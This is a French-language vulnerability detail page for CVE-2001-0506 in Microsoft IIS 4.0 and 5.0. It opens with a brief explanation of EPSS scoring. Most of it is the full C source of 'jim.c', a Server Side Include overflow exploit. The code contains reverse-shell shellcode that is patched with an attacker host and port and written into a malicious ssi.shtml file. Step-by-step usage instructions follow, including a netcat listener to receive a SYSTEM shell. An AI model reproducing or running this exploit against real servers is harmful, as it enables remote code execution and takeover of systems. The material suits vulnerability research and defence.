CVE-2001-0506 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/3190/info A vulnerability exists in Microsoft IIS 4.0 and 5.0 that could allow a user with permission to write content to the IIS server to run any code in Local System context. /* jim.c - IIS Server Side Include exploit by Indigo <[email protected]> 2001 Usage: jim <attacker host> <attacker port> This code has been compiled and tested on Linux and Win32 To exploit this vulnerability you must have write access to the web root of the target web server. This program will generate a file called ssi.shtml. Create a directory in the web root whose name is 12 characters long (this is important!) eg. ssi_overflow then put this file into the new directory. Start up a netcat listener: nc -l -p <attacker port> -vv Access the file http://target/ssi_overflow/ssi.shtml using a web browser. N.B. I have had problems using Netscape to do this but IE works fine. A SYSTEM shell will appear in the Netcat session. You may need to hit return a few times to get the prompt up. Main shellcode adapted from jill.c by dark spyrit <[email protected]> Greets to: Morphsta, Br00t, Macavity, Jacob & Monkfish...Not forgetting D-Niderlunds */ #include <stdio.h> /* #include <windows.h> uncomment if compiling on Win32 */ int main(int argc, char *argv[]) { unsigned char shellcode[] = "\x3C\x21\x2D\x2D\x23\x69\x6E\x63\x6C\x75\x64\x65\x20\x66\x69\x6C" "\x65\x3D\x22\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\xeb\x03\x5d\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc5\x15\x90\x90\x90" "\x8b\xc5\x33\xc9\x66\xb9\xd7\x02\x50\x80\x30\x95\x40\xe2\xfa\x2d\x95\x95" "\x64\xe2\x14\xad\xd8\xcf\x05\x95\xe1\x96\xdd\x7e\x60\x7d\x95\x95\x95\x95" "\xc8\x1e\x40\x14\x7f\x9a\x6b\x6a\x6a\x1e\x4d\x1e\xe6\xa9\x96\x66\x1e\xe3" "\xed\x96\x66\x1e\xeb\xb5\x96\x6e\x1e\xdb\x81\xa6\x78\xc3\xc2\xc4\x1e\xaa" "\x96\x6e\x1e\x67\x2c\x9b\x95\x95\x95\x66\x33\xe1\x9d\xcc\xca\x16\x52\x91" "\xd0\x77\x72\xcc\xca\xcb\x1e\x58\x1e\xd3\xb1\x96\x56\x44\x74\x96\x54\xa6" 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"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x8B\x94\xF8\x77\x10\xF3\xC7\xF3\xC7\x22\x2D\x2D\x3E\x0D\x0A\x00"; FILE *fp; unsigned short int a_port; unsigned long a_host; printf ("\njim - IIS Server Side Include overflow launcher\nby Indigo <[email protected]> 2001\n\n"); printf ("To exploit this vulnerability you must have write access\n"); printf ("to the web root of the target web server.\n\n"); printf ("This program will generate a file called ssi.shtml.\n"); printf ("Create a directory in the web root whose name is\n"); printf ("12 characters long eg. ssi_overflow then put this file\n"); printf ("into the new directory. Start up a netcat listener:\n\n"); printf ("nc -l -p <attacker port> -vv\n\n"); printf ("Access the file http://target/ssi_overflow/ssi.shtml\n"); printf ("using a web browser. A SYSTEM shell will appear.\n\n"); printf ("N.B. I have had problems using Netscape to do this but IE works fine.\n\n"); if (argc != 3) { printf ("Usage: %s <attacker host> <attacker port>\n", argv[0]); return (1); } a_port = htons(atoi(argv[2])); a_port^= 0x9595; a_host = inet_addr(argv[1]); a_host^=0x95959595; shellcode[417]= (a_port) & 0xff; shellcode[418]= (a_port >> 8) & 0xff; shellcode[422]= (a_host) & 0xff; shellcode[423]= (a_host >> 8) & 0xff; shellcode[424]= (a_host >> 16) & 0xff; shellcode[425]= (a_host >> 24) & 0xff; fp = fopen ("./ssi.shtml","wb"); fputs (shellcode,fp); fclose (fp); return 0; }